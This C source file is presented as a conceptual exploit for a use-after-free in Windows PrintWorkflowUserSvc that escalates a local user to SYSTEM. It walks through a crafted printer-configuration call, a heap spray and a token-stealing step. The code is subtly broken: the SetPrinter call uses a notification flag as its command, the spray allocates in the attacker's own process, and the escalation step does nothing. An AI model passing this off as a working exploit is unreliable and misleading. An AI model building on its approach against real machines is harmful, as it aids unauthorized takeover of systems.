// CVE-2025-55331 - Windows PrintWorkflowUserSvc Use-After-Free PoC (Conceptual)
// This is a conceptual PoC demonstrating the exploitation approach for the
// Use-After-Free vulnerability in Windows PrintWorkflowUserSvc.
// Target: Local Privilege Escalation to SYSTEM
#include <windows.h>
#include <stdio.h>
// Step 1: Trigger the vulnerable code path in PrintWorkflowUserSvc
// by submitting a specially crafted print job
BOOL TriggerUAF() {
HANDLE hPrinter = NULL;
PRINTER_DEFAULTS pd = {0};
pd.DesiredAccess = PRINTER_ALL_ACCESS;
// Open a printer handle to interact with PrintWorkflowUserSvc
if (!OpenPrinter((LPWSTR)L"Microsoft Print to PDF", &hPrinter, &pd)) {
printf("[-] Failed to open printer handle: %d\n", GetLastError());
return FALSE;
}
// Submit a crafted print job that triggers the UAF condition
// The key is to cause object deallocation while references remain
DWORD bytesNeeded;
GetPrinter(hPrinter, 2, NULL, 0, &bytesNeeded);
BYTE* buffer = (BYTE*)malloc(bytesNeeded);
if (buffer) {
GetPrinter(hPrinter, 2, buffer, bytesNeeded, &bytesNeeded);
// Manipulate printer configuration to trigger UAF
// The vulnerability occurs when the service frees internal
// print workflow objects without clearing all references
SetPrinter(hPrinter, 2, buffer, PRINTER_CHANGE_ADD_PRINTER);
free(buffer);
}
ClosePrinter(hPrinter);
return TRUE;
}
// Step 2: Heap spray to control the freed memory region
// After UAF is triggered, spray the heap to place controlled data
// at the location of the freed object
BOOL HeapSpray() {
// Allocate multiple objects of the same size class as the freed object
// to reclaim the freed memory with attacker-controlled content
for (int i = 0; i < 1000; i++) {
// Spray technique depends on the specific object size
// This is a simplified demonstration
HANDLE hHeap = HeapCreate(0, 0, 0);
if (hHeap) {
// Allocate and fill with controlled data (e.g., fake vtable)
PVOID p = HeapAlloc(hHeap, 0, 0x100);
if (p) {
memset(p, 0x41, 0x100);
}
}
}
return TRUE;
}
// Step 3: Achieve code execution and elevate privileges
BOOL ElevatePrivileges() {
// After controlling the UAF object's content, redirect execution
// to a token-stealing payload or use existing techniques to
// replace the current process token with SYSTEM token
// Token stealing shellcode (simplified concept)
// In practice, this would be position-independent shellcode
// that calls NtAdjustPrivileges or duplicates the SYSTEM token
printf("[+] Attempting privilege escalation...\n");
// Open current process token
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
return FALSE;
}
// In real exploit: leverage UAF to execute shellcode in SYSTEM context
// then duplicate the SYSTEM token to current process
CloseHandle(hToken);
return TRUE;
}
int main() {
printf("[*] CVE-2025-55331 PoC - PrintWorkflowUserSvc UAF LPE\n");
printf("[*] Target: Windows PrintWorkflowUserSvc\n\n");
printf("[*] Step 1: Triggering UAF in PrintWorkflowUserSvc...\n");
if (!TriggerUAF()) {
printf("[-] Failed to trigger UAF\n");
return 1;
}
printf("[*] Step 2: Spraying heap to reclaim freed memory...\n");
HeapSpray();
printf("[*] Step 3: Executing privilege escalation...\n");
ElevatePrivileges();
printf("[*] PoC execution completed\n");
return 0;
}